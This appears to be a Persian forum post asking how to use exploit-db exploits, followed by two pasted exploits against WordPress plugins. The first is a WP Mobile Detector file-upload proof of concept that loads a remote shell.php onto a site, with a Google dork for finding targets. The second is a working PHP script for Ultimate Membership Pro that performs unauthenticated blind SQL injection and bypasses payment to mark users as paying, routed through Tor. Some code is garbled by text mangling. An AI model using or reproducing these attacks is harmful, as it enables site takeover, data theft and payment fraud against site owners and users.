نحوه استفاده از اکسپلویت های سایت exploit-db چطوریه؟

کد:

#Exploit Title: WP Mobile Detector <=3.5 Arbitrary File upload
#Google Dork: inurl: /wp-includes/plugins/wp-mobile-detector
#Date: 1-06-2015
#Exploit Author: Aaditya Purani
#Author Details: https://aadityapurani.com
#Vendor: https://wordpress.org/plugins/wp-mobile-detector/changelog
#Version: 3.5
#Tested on: Kali Linux 2.0 Sana / Windows 10
 
 
This Vulnerable has been disclosed to public yesterday about WP Mobile
Detector Arbitrary File upload for version <=3.5 in which attacker can
upload malicious PHP Files (Shell) into the Website. Over 10,000 users are
affected, Vendor has released a Patch in their version 3.6 & 3.7 at
https://wordpress.org/plugins/wp-mobile-detector/changelog/ .
 
I have wrote a Complete POC post:
 
https://aadityapurani.com/2016/06/03/mobile-detector-poc/
 
I have made a POC Video Here:
https://www.youtube.com/watch?v=ULE1AVWfHTU
 
Simple POC:
 
Go to: 
 
[wordpress sitempath].com/wp-content/plugins/wp-mobile-detector/resize.php?src=[link to your shell.php]
 
and it will get saved in directory:
 
/wp-content/plugins/wp-mobile-detector/cache/shell.php

کد:

<?php
/**
 * Exploit Title: Ultimate Membership Pro WordPress Plugin Exploit
 * Google Dorks: inurl:"lid=0" OR inurl:"lid=1" ...  inurl:"lid=100" "Register" "Confirm Password"
 * Exploit Author: wp0Day.com <[email protected]>
 * Vendor Homepage: http://wpindeed.com/
 * Software Link: http://codecanyon.net/item/ultimate-membership-pro-wordpress-plugin/12159253
 * Version: 3.3
 * Tested on: Debian 8, PHP 5.6.17-3
 * Type: Unauthenticated Blind SQLi, Unauthenticated Payment Bypass
 * Time line: Found [07-Jun-2016], Vendor notified [08-Jun-2016], Vendor fixed: [Yes], [RD:1466846149]
 */
 
 
require_once('curl.php');
//OR
//include('https://raw.githubusercontent.com/svyatov/CurlWrapper/master/CurlWrapper.php');
$curl = new CurlWrapper();
 
 
$options = getopt("t:m:l:e:s:",array('tor:'));
print_r($options);
$options = validateInput($options);
 
if (!$options){
    showHelp();
}
 
if ($options['tor'] === true)
{
    echo " ### USING TOR ###n";
    echo "Setting TOR *****...n";
    $curl->addOption(CURLOPT_*****,"http://127.0.0.1:9150/");
    $curl->addOption(CURLOPT_PROXYTYPE,7);
    echo "Checking IPv4 Addressn";
    $curl->get('https://dynamicdns.park-your-domain.com/getip');
    echo "Got IP : ".$curl->getResponse()."n";
    echo "Are you sure you want to do this?nType 'wololo' to continue: ";
    $answer = fgets(fopen ("php://stdin","r"));
    if(trim($answer) != 'wololo'){
        die("Aborting!n");
    }
    echo "OK...n";
}
 
function isTrue($sql){
    global $curl, $options;
    $levels = "') union all select (SELECT CASE WHEN ($sql) then 1 else 1*(select table_name from information_schema.tables) end)#";
    $data = array(
        'action'=>'ihc_preview_user_listing',
        'shortcode'=>'[ihc-list-users ******_by_level="1" levels_in="'.$levels.'" theme="ihc-theme_1" ]'
    );
    $curl->post($options['t'].'/wp-admin/admin-ajax.php', $data);
    $resp = $curl->getResponse();
    retu preg_match('~ihc_public_list_users_(d+)~',$resp);
}
 
function exploit(){
    global $curl, $options;
 
    if ($options['m'] == 'pay'){
        $level = $options['l'];
        for($i=$options['s']; $i<$options['e']; $i++){
            //This is mental, no IP or Hash check!
            echo "Paying Level $level to UserID: $in";
            $data = array('x_MD5_Hash'=>'1', 'x_response_code'=>'1', 'x_cust_id'=>$i, 'x_po_num'=>$level);
            $curl->post($options['t'].'wp-content/plugins/indeed-membership-pro/authorize_response.php', $data);
            //echo $curl->getResponse();
        }
    }
    if ($options['m'] == 'sql'){
        $query = $options['s'];
        echo "'Ruing' SQL Query: $queryn";
        echo "Getting Length";
        $max_length = 100;
        //Well, it is messed up, can use , (comma) in the query
        //Binary search or divide et impera is possible with the BETWEEN operator
        //Code it yourself :)
        $len = 0;
        for ($i=1;$i<$max_length;$i++){
            $sql_len = "(select char_length( ($query) ) = $i )";
            if (isTrue($sql_len)){
                echo "nLength found: $in";
                $len = $i;
                break;
            } else {
                echo ".";
            }
        }
        if ($len !== 0 ){
            echo "Reading char by chaResponse:n";
        } else {
            die("Failed getting length!nAboring.");
        }
        $charset = 'etaoinsrhdluc@*1234567890.mfywgpbvkxqjzETAOINSRHDLUCMFYWGPBVKXQJZ';
        for ($i=1;$i<$len;$i++){
            $got = false;
            for ($j=0;$j<strlen($charset);$j++){
                $chr = $charset[$j];
                $question = "SELECT substr(($query) FROM $i FOR 1) = '$chr' ";
                if (isTrue($question)){
                    echo $charset[$j];
                    $got = true;
                    break;
                }
            }
            if (!$got){
                echo "?";
            }
        }
        echo "";
 
    }
}
 
exploit();
 
function validateInput($options){
 
    if ( !isset($options['t']) || !******_var($options['t'], ******_VALIDATE_URL) ){
        retu false;
    }
 
    if (!isset($options['m']) || !in_array($options['m'], array('sql', 'pay') ) ){
        retu false;
    }
    if ($options['m'] == 'sql' && !isset($options['s'])) {
        retu false;
    }
 
    if ($options['m'] == 'pay' && ( !isset($options['s']) || !isset($options['e']) || !isset($options['l']))) {
        retu false;
    }
    if ($options['m'] == 'pay' && ( !is_numeric($options['s']) || !is_numeric($options['e']) || !is_numeric($options['l']) )) {
        echo "In pay mode -s -e and -l must be numeric!n";
        retu false;
    }
 
    $options['tor'] = isset($options['tor']);
 
    retu $options;
}
 
 
function showHelp(){
    global $argv;
    $help = <<<EOD
 
     Ultimate Membership Pro 8.4.1.3 WordPress Plugin Exploit
 
 
Usage: php $argv[0] -t [TARGET URL] --tor [USE TOR?] -m [MODE] -s [QUERY] -s [START] -e [END] -l [LEVEL]
 
       [MODE] sql  - Blind SQL Inject mode*
              pay  - Payment bypass. Parameters -l Level ID (&lid=XX in the url), -s Start UserID, -e End UserID
 
       *Note: You can't use , (comma) in the query.
 
Examples:
       php $argv[0] -t http://localhost/ --tor=yes -m sql -s 'select user()'
       php $argv[0] -t http://localhost/ --tor=yes -m pau -s 0 -e 1000 -l 1
 
       Marks all users with UserID between 0 and 1000 as paying customer for level ID 1
 
    Misc:
           CURL Wrapper by Leonid Svyatov <[email protected]>
           @link http://github.com/svyatov/CurlWrapper
           @license http://www.opensource.org/licenses/mit-license.html MIT License
 
EOD;
    echo $help."";
    die();
}